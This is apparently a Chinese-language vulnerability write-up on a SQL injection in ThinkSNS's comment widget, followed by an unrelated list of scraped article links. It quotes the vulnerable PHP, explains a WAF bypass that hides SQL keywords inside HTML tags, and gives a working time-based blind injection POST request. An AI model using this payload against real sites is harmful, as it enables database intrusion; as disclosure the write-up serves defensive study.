ThinkSNS漏洞系列第一弹,某处处理不当导致SQL注入

漏洞点出现在Comment Widget里:

\addons\widget\CommentWidget\CommentWidget.class.php:138
/**
* 添加评论的操作
*
* @return array 评论添加状态和提示信息
*/
public function addcomment() {
// 返回结果集默认值
$return = array (
'status' => 0,
'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' )
);
// 获取接收数据
$data = $_POST;
// 安全过滤
foreach ( $data as $key => $val ) {
$data [$key] = t ( $data [$key] );
}
// 评论所属与评论内容
$data ['app'] = $data ['app_name'];
$data ['table'] = $data ['table_name'];
$data ['content'] = h ( $data ['content'] );
// 判断资源是否被删除
$dao = M ( $data ['table'] );
$idField = $dao->getPk ();
$map [$idField] = $data ['row_id'];
$sourceInfo = $dao->where ( $map )->find ();
if (! $sourceInfo) {2881064151
$return ['status'] = 0;
$return ['data'] = '内容已被删除,评论失败';
exit ( json_encode ( $return ) );
}
... ... ... ... ... ...
// 添加评论操作
$data ['comment_id'] = model ( 'Comment' )->addComment ( $data );
if ($data ['comment_id']) {
$return ['status'] = 1;
$return ['data'] = $this->parseComment ( $data );
// 同步到微吧
if ($data ['app'] == 'weiba')$this->_upateToweiba ( $data );
... ... ... ... ...
}
$_POST经过$data [$key] = t( $data [$key] )后成为$data。
然后添加评论后会根据$data['app']选择同步到哪些应用中去,比如:
// 同步到微吧
if ($data ['app'] == 'weiba')
$this->_upateToweiba ( $data );
\addons\widget\CommentWidget\CommentWidget.class.php:252:
// 同步到微吧
function _upateToweiba($data) {
$postDetail = D ( 'weiba_post' )->where ( 'feed_id=' . $data ['row_id'] )->find ();
if (! $postDetail)
return false;
... ... ... ... ...
}
$data['row_id']进入$postDetail = D ( 'weiba_post' )->where ( 'feed_id=' . $data ['row_id'] )->find (),两边没有单引号包围。
而$data['row_id']是前台可控的变量,来自$_POST['row_id'],so,这里就存在SQL注入了。
由于ThinkSNS前台有WAF,因此需要结合t()来绕过:
\core\OpenSociax\functions.inc.php:630
/**
* t函数用于过滤标签,输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}
经过t()的变量都会过real_strip_tags($text):
\core\OpenSociax\functions.inc.php:2274
function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}
而real_strip_tags($text)里的strip_tags($str, $allowable_tags)会过滤掉tag,所以在SQL关键字中插入tag就能bypass waf,最后成为可以被利用的SQL注入。
基于时间的盲注,POST请求都要带上正确的referer。
POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1
app_name=weiba&table_name=user&content=test&row_id=2 a<a>nd 0=sle<a>ep(2);-- -&app_detail_summary=

return array 评论添加状态和提示信息的更多相关文章

  1. 为Array对象添加一个去除重复项的方法

    输入例子 [false, true, undefined, null, NaN, 0, 1, {}, {}, 'a', 'a', NaN].uniq() 输出例子 [false, true, unde ...

  2. 取出return array() 数组内容

    d.php文件 return array( "0" => 内容一, "1" => 内容二, "2" => 内容三, &qu ...

  3. JavaScript 评论添加练习

    JavaScript 评论添加练习 本次所学内容: //var str = '<li>'+value+'</li>'; 支付串和变量的拼接 //ul.innerHTML += ...

  4. <?php return array(

    <?php //test.php return array( 'name' => 'andy', 'sex' => 'male' ); ?> <?php $set = r ...

  5. ros 学习 array 的添加

    array的添加,使用 arry[i]赋值时会出现段错误,需要使用array.push_back添加到数据中,在ros中array数组是以vector方式存储的. 例如: 包含数组的msg定义为: h ...

  6. js array 数组添加与删除数据

    //新建数组 var ids =new Array(); //向数组中添加数据 ids.push(1); //删除下标为i的数组元素 ids.remove(i); //自定义删除函数: Array.p ...

  7. 向Array中添加归并排序

    归并排序思路 1) 归并 从两个有序表R[low...mid]和R[mid+1...high],每次从左边依次取出一个数进行比较,将较小者放入tmp数组中,最后将两段中剩下的部分直接复制到tmp中. ...

  8. 向Array中添加堆排序

    堆排序思路 堆排序是一种树形选择排序方法(注意下标是从1开始的,也就是R[1...n]). 1) 初始堆: 将原始数组调整成大根堆的方法——筛选算法:比较R[2i].R[2i+1]和R[i],将最大者 ...

  9. 向Array中添加选择排序

    选择排序思路 在无序区中选出最小的元素,然后将它和有序区的第一个元素交换位置. 选择排序实现 Function.prototype.method = function(name, func){ thi ...

随机推荐

  1. SQL添加维护 计划失败

    在sql要求数据库每天自动备份这个是大家都会遇到的问题,我遇到了这个问题如图: 是因为这个服务组件没有安装

  2. Vue学习笔记(一)

    组件:分三步 创建组件: var myComponent = Vue.extend({ template:'<div>This is my first component</div& ...

  3. MYsql 数据库密码忘记(Linux)

    在Linux 上面装上了 Mysql 数据库,但是发现密码忘了,悲催,解决方法跟Window系统下一样的, 不管是哪个操作系统处理的思路是相同的,就是首先要把mysql的权限去掉,这样即使忘了密码,不 ...

  4. 浅谈redis和memcached的区别

    缓存技术方面说到redis大家必然会联想到memcached,了解它们的人应该都知道以下几点吧 redis与 memcached相比,redis支持key-value数据类型,同事支持list.set ...

  5. log4net配置

    1.configuration配置 <configSections> <section name="log4net" type="log4net.Con ...

  6. 【Java EE 学习 70 上】【数据采集系统第二天】【数据加密处理】【登陆验证】【登陆拦截器】【新建调查】【查询调查】

    一.数据加密处理 这里使用MD5加密处理,使用java中自带加密工具类MessageDigest. 该类有一个方法digest,该方法输入参数是一个字符串返回值是一个长度为16的字节数组.最关键的是需 ...

  7. (UWP)通过编写算法实现在地图中的渐变路径

    目前的一个App中需要实现这个需求,但是在UWP自带的Bing Map中,绘制的MapPolyline的StrokeColor的类型是Windows.UI.Color,也就是说一条MapPolylin ...

  8. 数据分析(9):DataFrame介绍

    DataFrame 表格型的数据结构 创建DataFrame 可以通过传入dict的方式,DataFrame会自动加上索引,并且列会有序排列 data = {'state':['a', 'b', 'c ...

  9. 学习微信小程序之css4设置颜色,单位表示,字体样式

    颜色的设置可以通过RGB设置 可以直接通过英文单词设置 可以通过16进制来设置 长度单位: 字体样式: 设置字体样式 字体粗细 设置字体风格 设置字间距

  10. WebRTC音频预处理单元APM的整体编译及使用

    正文 行的gnu静态库链接路径是针对NDK版本 r8d 的,如读者版本不匹配,请自行找到 libgnustl_static.a 静态库的路径进行替换. 3)本示例并不打算编译 WebRTC 的测试工程 ...